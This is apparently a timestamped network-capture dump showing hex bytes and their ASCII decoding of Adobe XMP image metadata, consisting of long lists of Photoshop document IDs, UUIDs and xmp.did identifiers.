2022-04-08 08:02:42 UTC2478INData Raw: 39 35 33 36 2d 63 65 65 36 38 66 31 63 65 36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 33 65 64 66 37 31 2d 64 36 34 31 2d 31 31 64 62 2d 62 62 38 31 2d 66 65 39 31 66 32 33 32 30 36 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 34 61 37 33 63 39 2d 33 31 61 61 2d 31 31 64 61 2d 38 37 34 64 2d 61 62 31 66 63 30 32 66 39 33 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 39 32 39 30 62 61 2d 34 34 38 36 2d 33 39 34 64 2d 39 61 30 38 2d 32 39 35 65 32 30 34 63 36 36 37 35 3c 2f 72 64 66 3a 6c 69 3e 20
Data Ascii: 9536-cee68f1ce62b</rdf:li> <rdf:li>adobe:docid:photoshop:4c3edf71-d641-11db-bb81-fe91f2320614</rdf:li> <rdf:li>adobe:docid:photoshop:4c4a73c9-31aa-11da-874d-ab1fc02f93c4</rdf:li> <rdf:li>adobe:docid:photoshop:4c9290ba-4486-394d-9a08-295e204c6675</rdf:li>
2022-04-08 08:02:42 UTC2486INData Raw: 68 6f 74 6f 73 68 6f 70 3a 36 34 38 36 66 64 33 31 2d 39 62 38 35 2d 31 31 65 36 2d 61 39 66 66 2d 38 64 36 36 35 36 65 64 37 65 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 34 63 35 61 37 31 36 2d 66 63 37 37 2d 64 39 34 65 2d 62 35 35 61 2d 64 61 37 61 31 39 39 35 65 36 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 36 66 35 34 30 32 2d 64 63 36 38 2d 31 66 34 39 2d 38 35 35 35 2d 35 36 37 35 39 31 30 32 62 65 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 38 62 33 32 35 63 2d 31 62 33 39 2d 31 31 65 38
Data Ascii: hotoshop:6486fd31-9b85-11e6-a9ff-8d6656ed7ea9</rdf:li> <rdf:li>adobe:docid:photoshop:64c5a716-fc77-d94e-b55a-da7a1995e645</rdf:li> <rdf:li>adobe:docid:photoshop:656f5402-dc68-1f49-8555-56759102befb</rdf:li> <rdf:li>adobe:docid:photoshop:658b325c-1b39-11e8
2022-04-08 08:02:42 UTC2502INData Raw: 39 66 32 30 32 2d 62 35 30 39 2d 31 31 64 64 2d 38 32 32 36 2d 64 61 39 34 39 34 38 37 36 37 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 38 64 63 65 33 33 2d 66 63 34 35 2d 31 31 65 36 2d 62 66 62 30 2d 38 64 61 32 39 32 34 62 66 33 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 63 62 32 30 30 37 2d 61 37 30 61 2d 64 36 34 30 2d 62 62 38 63 2d 30 34 35 34 63 62 65 65 37 63 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 64 30 61 66 34 32 2d 61 65 39 35 2d 31 31 64 61 2d 62 61 62 63 2d 39 63 30 64 65 64
Data Ascii: 9f202-b509-11dd-8226-da9494876732</rdf:li> <rdf:li>adobe:docid:photoshop:798dce33-fc45-11e6-bfb0-8da2924bf3bb</rdf:li> <rdf:li>adobe:docid:photoshop:79cb2007-a70a-d640-bb8c-0454cbee7cf9</rdf:li> <rdf:li>adobe:docid:photoshop:79d0af42-ae95-11da-babc-9c0ded
2022-04-08 08:02:42 UTC2530INData Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 62 64 31 32 37 63 39 2d 38 34 31 33 2d 31 31 37 62 2d 62 37 36 66 2d 62 63 35 62 38 63 31 34 62 66 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 33 36 32 61 62 32 2d 30 33 63 64 2d 31 31 65 36 2d 61 34 32 62 2d 38 39 39 65 63 30 31 30 38 66 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 63 37 30 30 33 37 34 2d 38 65 31 62 2d 31 31 37 37 2d 61 38 33 63 2d 63 31 62 62 63 63 30 63 30 30 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f
Data Ascii: rdf:li>adobe:docid:photoshop:abd127c9-8413-117b-b76f-bc5b8c14bf9b</rdf:li> <rdf:li>adobe:docid:photoshop:ac362ab2-03cd-11e6-a42b-899ec0108f6e</rdf:li> <rdf:li>adobe:docid:photoshop:ac700374-8e1b-1177-a83c-c1bbcc0c0065</rdf:li> <rdf:li>adobe:docid:photosho
2022-04-08 08:02:42 UTC2546INData Raw: 38 2d 31 31 64 63 2d 61 35 32 37 2d 63 36 64 63 32 30 32 31 34 61 65 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 31 38 63 30 66 35 61 2d 39 36 37 38 2d 31 31 37 61 2d 62 62 61 33 2d 65 37 61 64 63 38 61 63 35 63 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 31 63 35 32 38 37 30 2d 34 61 39 65 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 32 33 31 31 65 31 32 2d 38 65 64 30 2d 32 30 34 38 2d 62 39 35 62 2d 38 33 39 66 63 33 64 30 36 65 30 30 3c 2f 72
Data Ascii: 8-11dc-a527-c6dc20214ae7</rdf:li> <rdf:li>adobe:docid:photoshop:e18c0f5a-9678-117a-bba3-e7adc8ac5caf</rdf:li> <rdf:li>adobe:docid:photoshop:e1c52870-4a9e-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe:docid:photoshop:e2311e12-8ed0-2048-b95b-839fc3d06e00</r
2022-04-08 08:02:42 UTC2569INData Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 61 36 34 39 33 61 2d 31 61 64 32 2d 31 31 65 35 2d 62 32 33 66 2d 61 66 34 32 32 34 65 36 32 64 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 64 39 33 30 64 64 2d 34 35 62 63 2d 31 31 65 36 2d 62 65 62 35 2d 64 65 39 61 62 62 62 65 32 64 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 37 66 65 33 31 33 63 2d 63 34 66 64 2d 31 31 65 35 2d 38 33 34 34 2d 65 38 64 39 33 37 30 32 37 37 66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 38 30 34 37 37 37 32 2d 39 65
Data Ascii: docid:photoshop:f7a6493a-1ad2-11e5-b23f-af4224e62d18</rdf:li> <rdf:li>adobe:docid:photoshop:f7d930dd-45bc-11e6-beb5-de9abbbe2d87</rdf:li> <rdf:li>adobe:docid:photoshop:f7fe313c-c4fd-11e5-8344-e8d9370277f7</rdf:li> <rdf:li>adobe:docid:photoshop:f8047772-9e
2022-04-08 08:02:42 UTC2585INData Raw: 69 3e 75 75 69 64 3a 32 44 34 30 37 31 34 30 42 42 36 30 44 45 31 31 42 32 30 31 43 34 30 33 34 34 39 33 32 37 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 44 36 39 32 36 43 45 46 44 43 30 31 31 44 43 41 34 41 39 43 43 34 41 45 34 46 30 30 41 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 44 36 45 37 41 32 37 35 41 38 37 44 46 31 31 42 31 35 45 39 44 43 45 41 31 43 45 41 30 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 30 38 37 41 34 33 34 45 37 46 44 44 31 31 42 45 33 38 46 42 38 44 36 45 37 36 38 34 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 45 30 44 43 43 32 43 46 35 41 33 44 45 31 31 38 31 44 44 46 45 46 30 44 36 30 39
Data Ascii: i>uuid:2D407140BB60DE11B201C40344932790</rdf:li> <rdf:li>uuid:2D6926CEFDC011DCA4A9CC4AE4F00A67</rdf:li> <rdf:li>uuid:2D6E7A275A87DF11B15E9DCEA1CEA0A9</rdf:li> <rdf:li>uuid:2E087A434E7FDD11BE38FB8D6E76845C</rdf:li> <rdf:li>uuid:2E0DCC2CF5A3DE1181DDFEF0D609
2022-04-08 08:02:42 UTC2601INData Raw: 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 31 37 30 35 42 46 37 36 39 46 42 44 43 31 31 39 37 31 41 43 37 37 36 34 30 38 45 35 38 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 31 39 45 41 38 42 33 46 42 44 42 44 43 31 31 41 33 36 39 43 45 44 32 42 37 34 43 44 34 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 30 41 43 44 37 38 37 30 34 39 45 30 31 31 38 45 37 31 41 43 45 35 46 31 46 43 38 45 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 37 37 32 39 46 36 46 33 34 45 45 30 31 31 41 33 38 31 38 43 35 34 30 33 46 46 38 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32
Data Ascii: 794BB0824F</rdf:li> <rdf:li>uuid:61705BF769FBDC11971AC776408E5885</rdf:li> <rdf:li>uuid:619EA8B3FBDBDC11A369CED2B74CD410</rdf:li> <rdf:li>uuid:620ACD787049E0118E71ACE5F1FC8E6D</rdf:li> <rdf:li>uuid:627729F6F34EE011A3818C5403FF86EA</rdf:li> <rdf:li>uuid:62
2022-04-08 08:02:43 UTC3617INData Raw: 66 3a 6c 69 3e 75 75 69 64 3a 37 39 45 35 46 36 35 33 43 31 43 41 44 42 31 31 38 33 33 36 41 43 31 36 34 31 44 36 46 31 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 41 30 31 32 33 37 36 43 32 34 36 31 31 44 41 38 32 32 38 42 33 34 37 41 30 39 46 43 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 41 30 38 45 31 45 46 37 32 30 43 45 30 31 31 38 33 45 44 41 31 41 39 34 42 42 45 44 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 41 36 41 36 32 30 37 44 41 33 34 45 34 31 31 39 33 30 45 38 35 43 45 34 33 45 32 32 39 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 41 36 45 42 38 44 34 30 43 45 41 44 44 31 31 41 42 46 41 44 30 35 36 34
Data Ascii: f:li>uuid:79E5F653C1CADB118336AC1641D6F1BB</rdf:li> <rdf:li>uuid:7A012376C24611DA8228B347A09FCD26</rdf:li> <rdf:li>uuid:7A08E1EF720CE01183EDA1A94BBED35F</rdf:li> <rdf:li>uuid:7A6A6207DA34E411930E85CE43E229BE</rdf:li> <rdf:li>uuid:7A6EB8D40CEADD11ABFAD0564
2022-04-08 08:02:43 UTC3633INData Raw: 44 35 43 46 38 31 37 42 34 45 37 44 42 31 31 41 37 37 30 43 43 43 44 31 38 39 45 46 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 38 31 37 37 44 36 34 38 35 33 45 31 31 31 38 36 33 44 46 37 30 38 38 30 44 44 32 41 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 39 42 30 41 43 42 44 46 30 37 44 43 31 31 41 35 32 42 41 39 34 45 39 37 31 38 36 44 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 41 39 34 38 32 36 37 41 34 39 44 43 31 31 42 31 34 38 43 34 31 31 33 33 44 36 35 38 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 44 42 46 44 46 33 46 46 38 37 36 44 46 31 31 39 45 32 39 45 46 43 37 31 39 36 35 33 33 37 35 3c 2f 72 64
Data Ascii: D5CF817B4E7DB11A770CCCD189EFFE6</rdf:li> <rdf:li>uuid:AD8177D64853E111863DF70880DD2A0F</rdf:li> <rdf:li>uuid:AD9B0ACBDF07DC11A52BA94E97186DF2</rdf:li> <rdf:li>uuid:ADA948267A49DC11B148C41133D65815</rdf:li> <rdf:li>uuid:ADBFDF3FF876DF119E29EFC719653375</rd
2022-04-08 08:02:43 UTC3649INData Raw: 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 32 43 30 35 31 41 46 44 39 31 45 30 31 31 39 41 46 32 46 45 44 31 34 44 45 39 37 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 34 36 41 42 31 41 46 31 43 39 44 44 31 31 41 41 30 30 43 43 31 45 34 38 31 31 30 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 37 37 43 46 42 30 45 30 32 36 44 46 31 31 41 31 37 34 43 32 32 46 43 43 43 30 44 39 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 43 39 37 42 34 35 44 44 45 46 31 44 45 31 31 42 43 31 42 43 42 31 34 39 36 45 46 36
Data Ascii: >uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <rdf:li>uuid:EC2C051AFD91E0119AF2FED14DE970EB</rdf:li> <rdf:li>uuid:EC46AB1AF1C9DD11AA00CC1E48110F0E</rdf:li> <rdf:li>uuid:EC77CFB0E026DF11A174C22FCCC0D9C5</rdf:li> <rdf:li>uuid:EC97B45DDEF1DE11BC1BCB1496EF6
2022-04-08 08:02:43 UTC3657INData Raw: 35 34 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 33 44 37 34 42 37 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 34 32 39 39 31 41 34 45 32 30 36 38 31 31 41 46 32 31 45 36 30 42 43 43 35 37 30 35 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 35 38 42 36 32 39 34 41 33 37 45 30 31 31 39 46 45 41 39 45 39 37 45 43 39 46 42 44 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 35 39 66 35 36 39 2d 65 31 64 33 2d 63 61 34 30 2d 62 61 66 64 2d 32 30 37 64 39 64 61 65 64 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a
Data Ascii: 540D</rdf:li> <rdf:li>xmp.did:013D74B72D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:0142991A4E206811AF21E60BCC57056F</rdf:li> <rdf:li>xmp.did:0158B6294A37E0119FEA9E97EC9FBD0C</rdf:li> <rdf:li>xmp.did:0159f569-e1d3-ca40-bafd-207d9daedad1</rdf:li> <rdf:
2022-04-08 08:02:43 UTC3665INData Raw: 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 46 36 32 45 45 32 43 37 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 46 42 37 33 41 30 42 38 31 42 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36
Data Ascii: i>xmp.did:0180117407206811A961F62EE2C7972C</rdf:li> <rdf:li>xmp.did:0180117407206811A961FB73A0B81B03</rdf:li> <rdf:li>xmp.did:0180117407206811AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206
2022-04-08 08:02:43 UTC3681INData Raw: 39 31 30 39 39 42 31 35 43 39 45 42 44 37 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 46 43 35 34 33 36 43 34 46 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 30 34 42 39 30 35 46 34 36 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c
Data Ascii: 91099B15C9EBD7FA</rdf:li> <rdf:li>xmp.did:05801174072068119109CFC5436C4FCB</rdf:li> <rdf:li>xmp.did:05801174072068119109D04B905F46D2</rdf:li> <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:l
2022-04-08 08:02:43 UTC3697INData Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 35 32 44 32 45 36 39 42 32 37 36 38 31 31 39 35 46 45 41 32 35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 35 33 43 42 37 36 36 46 33 39 45 30 31 31 39 43 33 33 38 46 34 38 34 34 42 43 34 45 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 36 34 44 32 41 36 33 33 32 31 36 38 31 31 39 37 41 35 46 35 36 32 31 32 39 45 41 38 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 37 44 43 30 35 35 46 38 30 32 45 32 31 31 42 41 37 38 41 35 33 42 35 43 43 30 42 46 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 38 36 44 41 33 36
Data Ascii: rdf:li>xmp.did:0B52D2E69B27681195FEA25BB0FCC8E8</rdf:li> <rdf:li>xmp.did:0B53CB766F39E0119C338F4844BC4E7C</rdf:li> <rdf:li>xmp.did:0B64D2A63321681197A5F562129EA81F</rdf:li> <rdf:li>xmp.did:0B7DC055F802E211BA78A53B5CC0BF1E</rdf:li> <rdf:li>xmp.did:0B86DA36
2022-04-08 08:02:43 UTC3705INData Raw: 36 66 2d 34 31 34 34 2d 38 36 38 31 2d 63 32 32 66 64 35 63 62 35 36 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 62 65 33 36 32 37 2d 37 64 30 31 2d 34 64 33 32 2d 38 37 61 36 2d 32 39 30 39 39 32 64 62 61 32 63 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 32 63 64 31 34 38 63 2d 37 36 35 61 2d 34 64 39 65 2d 61 63 34 35 2d 61 35 38 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64
Data Ascii: 6f-4144-8681-c22fd5cb5683</rdf:li> <rdf:li>xmp.did:12be3627-7d01-4d32-87a6-290992dba2ce</rdf:li> <rdf:li>xmp.did:12cd148c-765a-4d9e-ac45-a5849cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d
2022-04-08 08:02:43 UTC3721INData Raw: 30 37 36 33 34 2d 30 66 64 37 2d 66 32 34 64 2d 61 31 63 61 2d 31 65 63 34 38 61 65 31 33 39 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 35 33 38 63 65 62 2d 61 35 37 64 2d 34 33 35 38 2d 39 62 64 33 2d 33 34 32 63 31 38 63 37 35 63 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 35 64 37 31 34 34 2d 32 65 38 63 2d 34 36 66 62 2d 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38
Data Ascii: 07634-0fd7-f24d-a1ca-1ec48ae1393b</rdf:li> <rdf:li>xmp.did:23538ceb-a57d-4358-9bd3-342c18c75c9d</rdf:li> <rdf:li>xmp.did:235d7144-2e8c-46fb-88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A2068
2022-04-08 08:02:43 UTC3737INData Raw: 65 34 2d 36 39 64 36 32 31 38 35 63 64 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 32 38 42 46 38 33 32 43 32 30 36 38 31 31 38 30 38 33 38 31 45 35 37 38 38 43 33 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 33 33 30 36 38 43 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 34 38 37 36 45 42 46 31 36 42 45 30 31 31 39 45 36 39 45 38 35 34 42 42 41 31 46 35 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 36 44 44 31 30 37 30 42 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69
Data Ascii: e4-69d62185cd61</rdf:li> <rdf:li>xmp.did:3228BF832C206811808381E5788C353D</rdf:li> <rdf:li>xmp.did:3233068C982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:324876EBF16BE0119E69E854BBA1F514</rdf:li> <rdf:li>xmp.did:326DD1070B206811B4BCC2A8EBC78135</rdf:li
2022-04-08 08:02:43 UTC3744INData Raw: 3e 78 6d 70 2e 64 69 64 3a 33 38 41 32 42 38 32 44 35 39 32 31 36 38 31 31 38 44 42 42 42 41 35 30 33 32 37 39 38 31 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 41 36 38 39 39 31 41 44 44 39 45 33 31 31 39 41 43 30 46 38 31 45 34 43 41 34 43 41 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 41 37 42 38 39 33 46 41 32 34 36 38 31 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31
Data Ascii: >xmp.did:38A2B82D592168118DBBBA5032798148</rdf:li> <rdf:li>xmp.did:38A68991ADD9E3119AC0F81E4CA4CAAE</rdf:li> <rdf:li>xmp.did:38A7B893FA246811B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411
